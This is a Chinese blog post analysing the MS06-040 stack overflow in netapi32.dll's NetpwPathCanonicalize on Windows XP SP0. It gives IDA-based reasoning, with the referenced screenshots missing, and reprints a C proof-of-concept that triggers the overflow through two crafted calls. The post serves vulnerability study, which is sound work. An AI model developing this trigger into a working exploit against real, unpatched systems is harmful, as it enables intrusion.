菜单

ms06040粗糙分析(二)

2018年7月25日 - 漏洞分析
ms06040粗糙分析(二)

0x01 前言

2018-07-24 23:01:57
这次分析xp sp0的溢出。因为二者产生漏洞方式的不同,分2篇文章写,上篇文章介绍了windows2000下的利用

0x02 漏洞产生原因

0x03 静态分析

  1. 从上图中可知,判断prefix变量指针是否为空,如果不为空,就跳转到loc_71BB0E2D这个位置去,接下来判断长度为0,就跳转到loc_71BA42B5位置去

  1. 然后判断Path变量的长度,不能超过0x207,不超过则把Path复制进开辟的空间

  2. 这边先暂时总结下,这里,我们的目的是要撑爆开辟的空间,所以执行第一次函数后,wcscat拼接后,这时候栈空间位于esp的低地址,只要不做栈操作或者函数调用,这里的内容是不会变动的。第二次在调用,应该就能造成溢出,问题来了。如果让第一次调用,wcscat拼接后,尽量少做栈操作,尽可能的让栈空间在低位呢?继续看IDA子函数中的尾部分

  1. loc_71BA4317处开始分析,这里有个wcslen函数操作,用来计算总的拼接长度,eax值是unicode的长度,所以才会eax+eax+2,2是2个0x00,最终在与Maxbuf参数做比较,如果eax小于我们函数中设定的最大长度,就会跳转左边loc_718B0EA9执行,最终该子函数返回值为0,也就是说,这是正常结果,因为字符串拼接的长度小于最大长度。相反,如果eax大于我们函数中设定的最大长度(Maxbuf),那么就会执行右边的流程,并且CanonicalizePathName()这个子函数返回非0结果。

  2. 我们现在分析了一大串,都是在CanonicalizePathName()这个子函数里面,为什么要让这个结果返回非0结果呢?我们返回下上层函数的IDA位置在观察下

  1. 图中call sub_718A428B就是我们子函数 CanonicalizePathName(),因为edi一直为0,返回eax结果非0的话,就会跳转到loc_71BA4284位置处直接退出NetpwPathCanonicalize()函数,so 只要第一次运行NetpwPathCanonicalize函数 设置maxbuf长度为1,就会尽可能的退出,减少其他不必要的干扰开辟的空间,第二次在进行wcscat拼接就可造成栈溢出。

0x04 0day2中的本地poc代码


<br />\#include &lt;windows.h&gt;

typedef  void (__stdcall * MYPROC)(LPTSTR);

#define PATH1_SIZE      (0xc2*2)
#define PATH2_SIZE      (0x150*2)
#define OUTBUF_SIZE     0x440
#define PREFIX_SIZE     0x410

int main()
{  
    char PathName1[PATH1_SIZE];
    char PathName2[PATH2_SIZE];
    char Outbuf[OUTBUF_SIZE];
    int OutbufLen=OUTBUF_SIZE;
    char Prefix1[PREFIX_SIZE];
    char Prefix2[PREFIX_SIZE];
    long PathType1=44;
    long PathType2=44;

    //load vulnerability netapi32.dll which we got from a WINXP sp0 host    
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";

    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    // fill PathName
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,'a',sizeof(PathName1)-2);

    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,'b',sizeof(PathName2)-2);

    // set Prefix as a null string
    memset(Prefix1,0,sizeof(Prefix1));
    memset(Prefix2,0,sizeof(Prefix2));

    // call NetpwPathCanonicalize several times to overflow
    (Trigger)(PathName1,Outbuf,1        ,Prefix1,&amp;PathType1,0);
    (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&amp;PathType2,0);

    FreeLibrary(LibHandle);
}
标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据